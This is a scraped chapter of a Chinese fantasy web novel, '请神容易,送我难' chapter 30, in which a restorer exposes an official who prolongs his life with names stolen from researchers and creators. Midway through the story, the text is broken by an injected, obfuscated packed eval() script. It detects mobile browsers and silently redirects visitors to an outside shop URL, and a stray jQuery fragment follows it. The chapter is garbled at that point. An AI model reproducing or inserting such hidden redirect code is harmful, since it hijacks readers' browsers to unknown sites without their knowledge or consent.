文趣网 > 其他小说 > 请神容易,送我难 > 30. 名下无此人
    高至衡站在电梯口,像是一路跑过来的。

    他头发花白,额角全是汗,外套扣错了一颗,手里那座奖杯被攥得太紧,指节已经泛白。

    奖杯上的名字还在往下掉。

    “高至衡”三个字,如今只剩一个模糊的“衡”。黑色金属表面不断渗出墨水,顺着他的手指往袖口里钻。

    他却顾不上。

    一进接收区,他便指向顾闻川。

    “就是他。”

    “六年前,来工作室的人就是他。”

    顾闻川站在十二只青木箱前,连姿势都没有变。

    “高教授。”

    他语气平静,甚至还带着一点恰到好处的遗憾。

    “您目前受到精神压力和异常材料影响,记忆未必可靠。”

    高至衡死死盯着他。

    “你没变。”

    这三个字一出,接收区里的人都安静了。

    高至衡像终于抓住了最让自己恐惧的地方。

    “六年前,你穿的也是这样的衣服。”

    “头发、脸、声音,都没有变。”

    “你坐在我的办公室里,告诉我,只要把唐婧那份初检报告交给研究会,就能保住项目。”

    他喘得厉害,声音却越来越快。

    “你说她年轻,名字压不住这份残卷。”

    “你说首证放在导师名下,项目更容易申报。”

    “你还说——”

    高至衡喉咙像忽然被什么掐住。

    那句话已经到了嘴边,却迟迟吐不出来。

    谢明烛看着他。

    “他说什么?”

    高至衡胸口剧烈起伏。

    奖杯里的黑墨顺着手腕往上爬,一寸寸缠住他的喉咙。

    顾闻川淡淡道:“想不起来就不要勉强。”

    “闭嘴!”

    高至衡骤然暴怒。

    他将奖杯狠狠砸在地上。

    金属碰撞瓷砖,发出一声刺耳巨响。

    奖杯没有碎。

    剩下那个“衡”字却彻底掉了。

    空白的铭牌上,慢慢浮出一行新的黑字。

    【续愿者高至衡。】

    高至衡看见,整个人像被抽掉了力气。

    他嘴唇抖了几下,终于挤出那句话:

    “他说,门生的名字,原本就该压在师门下面。”

    唐婧站在木箱旁,手里还抱着那份初检报告。

    她听见这句话,没有哭,也没有骂。

    只是看着高至衡。

    “然后呢?”

    高至衡不敢看她。

    “我签了资料保管协议。”

    “只签了一次?”

    “……”

    “高至衡。”

    唐婧的声音很稳。

    “只签了一次吗?”

    最前方写着“告功名”的木箱忽然震了一下。

    箱盖内侧浮出一张张薄纸。

    第一张,六年前。

    《异常民俗文本代管及成果稳定协议》。

    签署人:高至衡。

    第二张,五年前。

    《旧愿文本续存确认书》。

    签署人:高至衡。

    第三张,四年前。

    《项目成果名义归集授权》。

    签署人:高至衡。

    一年一张。

    一共六张。

    最后一张的日期,就在三个月前。

    唐婧慢慢走过去。

    她没有碰那些纸,只一张张看完。

    “你每年都签。”

    高至衡脸色灰败。

    “他们说不续签,项目成果会出问题。”

    “什么问题?”

    “论文撤稿,证书失效,后续项目被追查。”

    “所以你签了。”

    “那时候项目已经不是我一个人的!”

    高至衡猛地抬起头,像终于找到了辩解的理由。

    “后面有学生,有合作单位,有课题经费,还有那么多人靠这个项目评职称。”

    “我如果停了,所有人都会受影响。”

    唐婧看了他很久。

    “那你有没有想过,告诉我?”

    高至衡没有回答。

    “第一次发现我的名字不见时,你没告诉我。”

    “第一次用我的报告申报时,你没告诉我。”

    “第一次看见奖项上只有你时,你还是没告诉我。”

    唐婧垂眼看着手里的报告。

    “你不是为了保护团队才续愿。”

    “你是先偷了我的东西,后来才有了一个越来越大的团队,替你证明不能还。”

    高至衡的嘴唇动了动。

    却再也说不出一句反驳的话。

    神簿在谢明烛怀里自行翻开。

    【告功名第二问。】

    【初愿从何起?】

    唐婧看向那块黑色名牌。

    “从我那句‘名字不要也没关系’开始。”

    神簿又问:

    【愿为何续?】

    她抬头看向高至衡。

    “因为受益者知道以后,仍然选择不还。”

    黑色名牌上裂开第二道纹。

    【修名者是谁?】

    所有人的视线同时落到顾闻川身上。

    顾闻川仍然没有动。

    像这道问题与他无关。

    谢明烛从木箱里取出第一份协议。

    纸张已经泛黄,右下角除了高至衡的签名,还有一枚很浅的圆形印章。

    承仪传统礼俗研究会。

    印章旁边没有经办人姓名。

    只有一道像闭眼般的符号。

    眼睛中央,是一个“愿”字。

    “你经手的?”谢明烛问。

    顾闻川回答:“研究会经手。”

    “我问的是你。”

    “六年前,研究会负责此类项目的人不止一个。”

    “高至衡认出了你。”

    “他的记忆受到反噬影响。”

    谢明烛抬眼。

    “你为什么一直让别人怀疑自己的记忆?”

    顾闻川笑意淡了些。

    “因为人的记忆本来就不可靠。”

    “那合同可靠?”

    “至少有签字。”

    “名字都是偷的,签字值什么钱?”

    顾闻川沉默。

    谢明烛将六份续愿协议依次摆开。

    “第一次,高至衡不懂契。”

    “后面五次,他懂了。”

    “他的账已经清楚。”

    她指尖落在协议中间那道闭眼印上。

    “现在说你的。”

    顾闻川看着她:“我没有从这个项目中受益。”

    秦满忽然摇了摇头。

    他从刚才开始便一直抱着铜铃,紧紧盯着顾闻川。此刻听见这句话,终于小声开口:

    “有。”

    顾闻川看向他。

    秦满往闻烬生身边靠了一点,却没有闭嘴。

    “你拿了名字。”

    接收区的温度忽然降了一点。

    主任和周围工作人员听不明白,只本能地觉得不舒服。

    顾闻川的目光落在秦满怀里的铜铃上。

    “愿童在雾隐山外,听见的东西容易失真。”

    秦满抱紧铃。

    “我叫秦满。”

    “不是愿童。”

    闻烬生站在他身侧,长伞尖轻轻触地。

    声音不响。

    警告却很清楚。

    顾闻川收回目光。

    谢明烛问秦满:“他拿了谁的名字?”

    秦满皱着眉,像在听一间挤满人的屋子。

    “好多。”

    “能说出来吗?”

    秦满摇头。

    “太乱了。”

    “有些只剩一个字。”

    “有些名字在哭。”

    “还有些……已经忘记自己叫什么。”

    顾闻川终于抬起手,整理了一下袖口。

    这是他出现后,第一次做出明显多余的动作。

    谢明烛看见了。

    “你紧张?”

    “谢老师想多了。”

    “我修过很多被刮洗的字。”

    她看着顾闻川。

    “墨越想装得没动过,纸面越平。”

    “可纤维不会撒谎。”

    顾闻川眼神微沉。

    谢明烛走到那只标着“告名”的木箱前。

    它是十一只捐赠箱里的最后一只。

    箱体比其他箱子更旧,四角却没有磨损,像它存在了很久,却从未真正被搬动过。

    封条上只有两个字。

    告名。

    她没有立刻打开。

    “你说愿社保存无主愿。”

    “修复残愿。”

    “防止它们散出去害人。”

    顾闻川道:“事实如此。”

    “保存东西,总要编号。”

    “当然。”

    “编号需要名字。”

    顾闻川没有回答。

    谢明烛继续问:

    “那些被偷走、被放弃、被从成果上刮掉的名字,最后去了哪里?”

    高至衡忽然抬头。

    他像想起了什么。

    “保管费。”

    众人看向他。

    高至衡盯着顾闻川,脸上的恐惧越来越重。

    “六年前你说过。”

    “研究会不白替人稳定功名。”

    “修名之后,会从被刮掉的名字里取一笔保管费。”

    顾闻川淡淡道:“那只是对契力残留的通俗解释。”

    “取多少?”

    高至衡喉咙滚动。

    “一个旁名。”

    唐婧皱眉:“什么叫旁名?”

    高至衡不敢看她。

    “不是户籍里的名字。”

    “是……一个人可能拥有,却没有真正拥有的名。”

    首证人。

    第一作者。

    发现者。

    设计者。

    创办人。

    传承人。

    恩师。

    专家。

    所有本该落在某个人身上,最后却被抹去的称谓,都可以成为旁名。

    它们不是身份证上的名字。

    却决定一个人如何被世人记住。

    谢明烛看向顾闻川。

    “你们收的不是废名。”

    “是身份。”

    顾闻川神色平静。

    “有些身份当事人已经放弃。”

    唐婧冷声说:“被逼着说不要,也叫放弃?”

    “成年人应当为自己的选择负责。”

    “很好。”

    谢明烛点了一下头。

    “那你也为自己的选择负责。”

    她将手放在“告名”木箱的封条上。

    顾闻川终于开口:

    “这只箱子不在本次初检范围。”

    “捐赠协议已经碎了。”

    “所以现在由我决定。”

    “谢明烛。”

    闻烬生低声叫她。

    不是拦。

    是提醒。

    箱子里聚着太多名字。

    一旦打开,未必只会找顾闻川。

    它也可能反过来找一个容器。

    谢明烛知道。

    她看向秦满。

    “铃能不能把名字分开?”

    秦满认真想了一会儿。

    “一个一个叫,能。”

    “要是一起出来呢?”

    秦满脸色白了些。

    “可能会听不清。”

    闻烬生握住长伞。

    “我压箱。”

    谢明烛看他。

    “伤口会裂。”

    “知道。”

    “疼?”

    “疼。”

    回答得很快。

    谢明烛没有再说别的。

    她从口袋里取出一卷新的纱布,扔给他。

    闻烬生接住,眼里掠过一点极淡的无奈。

    “还没裂。”

    “备用。”

    顾闻川站在对面,看着他们,忽然笑了。

    “你们在雾隐山就是这样破局的?”

    谢明烛看向他。

    “让你失望了?”

    “只是觉得,您比传闻里更容易留下牵挂。”

    闻烬生眼神骤冷。

    谢明烛却笑了一声。

    “所以?”

    “有牵挂的人,更适合签契。”

    “无牵无挂的人才适合当祭品。”谢明烛说,“你们的口径不统一,回去培训一下。”

    唐婧没忍住,偏过脸笑了一下。

    顾闻川脸上的笑意却彻底淡了。

    谢明烛撕下封条。

    封纸离开箱盖的瞬间,所有灯同时熄灭。

    不是停电。

    窗外仍有晨光。

    可接收区里所有人的影子都变得很淡,像属于自己的那一部分姓名被什么东西暂时遮住了。

    箱盖没有弹开。

    里面先伸出一只手。

    不是人的手。

    是由许多黑色字迹拼成的手。

    每一根手指上,都爬着不同的称谓。

    首证。

    原作。

    恩师。

    发现者。

    继承人。

    创办者。

    名医。

    善人。

    那些字相互挤压,像都想爬到最上面。

    闻烬生长伞骤然压下。

    伞骨抵住箱盖。

    字手被压回去一半,接收区里响起无数重叠的人声。

    “我的。”

    “还给我。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733951|208250||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    “那是我做的。”

    “我先发现的。”

    “我没有答应。”

    “他们删了我的名字。”

    秦满的铜铃开始急促震动。

    他双手抱住,闭上眼睛,大声道:

    “一个一个来!”

    铃声响起。

    混乱的人声真的停了一瞬。

    最先浮出来的是“首证人”。

    它化成一道金光,落回唐婧手里的报告。

    随后是几个陌生称谓,撞向不同方向,像正沿着档案和记忆去寻找原主。

    可更多名字没有走。

    它们缠在一起,牢牢连着箱子最深处。

    谢明烛从缝隙里看见了一张黑色纸页。

    纸页上密密麻麻写满名字。

    每个名字后面,都有一条去向。

    【林琢,原作之名,归顾闻川。】

    【宋仪,发现者之名,归顾闻川。】

    【贺兰秋,善名,归顾闻川。】

    【吴青禾,传承人之名,归顾闻川。】

    一页。

    两页。

    十页。

    全是顾闻川。

    不是这些人的本名归了他。

    是他们被偷走的身份,全都被记在了“顾闻川”名下。

    难怪他六年不变。

    一个人的名会被时间磨损。

    可如果不断用别人的名字补上去,他便可以永远维持同一张脸、同一个身份、同一段履历。

    顾闻川终于动了。

    他一步上前,想合上箱子。

    闻烬生的刀已经出鞘。

    刀锋横在他面前。

    “别动。”

    顾闻川看向闻烬生。

    “你以为自己还是雾隐山的守山人?”

    闻烬生道:“不是。”

    “那你凭什么拦我?”

    “她让我压箱。”

    答得过于理所当然。

    谢明烛没时间理他们。

    她盯着那本黑色名册。

    “顾闻川是你的本名吗?”

    顾闻川没有回答。

    神簿已经自动翻开。

    【告名第一问。】

    【名从何来?】

    顾闻川站在刀锋前,脸色第一次真正冷下来。

    “谢老师。”

    “有些名字不能问。”

    “那就说明问对了。”

    朱砂笔落到神簿上。

    “顾闻川。”

    三个字刚写完,纸面便迅速洇开。

    不是变黑。

    是像墨找不到可以落下的纤维,沿着纸面四散逃开。

    神簿重新浮字:

    【查无原名。】

    片刻后,又补出一行。

    【顾闻川,名下无此人。】

    接收区一片死寂。

    主任和工作人员听不懂神簿,却看见顾闻川胸前的工作证忽然变成了空白。

    照片还在。

    职位还在。

    承仪传统礼俗研究会副秘书长。

    唯独姓名一栏,什么都没有。

    邵律师脸色骤变。

    “顾先生……”

    他喊到一半,声音忽然停住。

    像连他自己也不确定,该怎么称呼眼前的人。

    唐婧盯着那张空白工作证。

    “顾闻川不是人名?”

    秦满摇头。

    “是很多人的名字拼出来的。”

    谢明烛问:“那他原来叫什么?”

    秦满的铜铃发出一声极低的闷响。

    他脸色瞬间惨白。

    “没有。”

    “什么意思?”

    “他把自己的名字也交出去了。”

    顾闻川看着秦满。

    眼神里第一次出现了杀意。

    闻烬生的刀锋往前半寸。

    那杀意便被挡住了。

    谢明烛却没有看顾闻川。

    她盯着箱中黑色名册最下方。

    那里有一行字被大片墨迹遮住。

    【无名者入社,百名养身。】

    【每收一名,可续一岁。】

    原来如此。

    顾闻川不是不老。

    是他用别人被抹掉的名字,一年一年续住自己。

    那些从论文、作品、家谱、师承和善行中消失的名字,最后都成了他活下去的时间。

    六年没有变,只是最浅的一层。

    他究竟活了多久,没有人知道。

    顾闻川忽然笑了。

    胸前的空白工作证还在轻轻晃动。

    他抬手,将证件摘下来,随意扔在地上。

    “谢老师。”

    没有名字以后,他的声音反而变得更清晰。

    少了温和,也少了刻意维持的礼貌。

    “你终于问到这一折了。”

    谢明烛抬眼。

    “哪一折?”

    顾闻川看着她怀里的神簿。

    “告名。”

    他往后退了一步。

    刀锋仍抵着他的喉咙,他却像完全不在意。

    “婚契只是门。”

    “功名只是路。”

    “名字才是愿社真正收的东西。”

    顾闻川低头,看了一眼地上那张空白工作证。

    “人可以没有愿。”

    “可以不求婚姻,不求功名,不求长生。”

    “但只要还想让别人记得自己是谁——”

    “就逃不开名字。”

    他抬眼,唇边慢慢浮出一点冷意。

    “包括你。”

    谢明烛神色不变。

    “我的名字已经拿回来了。”

    “是吗?”

    顾闻川看着她。

    “谢明珠是原名。”

    “谢明烛是祭名。”

    “你把祭名抢成了人名。”

    “可这两个名字,哪一个真正从出生起就只属于你?”

    神簿骤然震动。

    箱中的黑色名册疯狂翻页。

    一张空白名牌从最深处飞出,直直停在谢明烛面前。

    上面没有名字。

    只有一行字。

    【请修契人自证。】

    闻烬生脸色骤变,刀锋直接划向名牌。

    顾闻川却笑出了声。

    “你不是最会问别人是谁吗?”

    “谢老师。”

    “现在轮到你了。”

    空白名牌贴近谢明烛。

    黑墨从边缘缓慢渗出,正要写下她的名字。

    秦满的铜铃突然失声。

    闻烬生一刀劈落。

    刀锋碰到名牌的一刻,整座修复中心所有电脑同时黑屏。

    紧接着,屏幕上齐齐出现一句话。

    【告名已开。】

    【请谢明烛,先证自己。】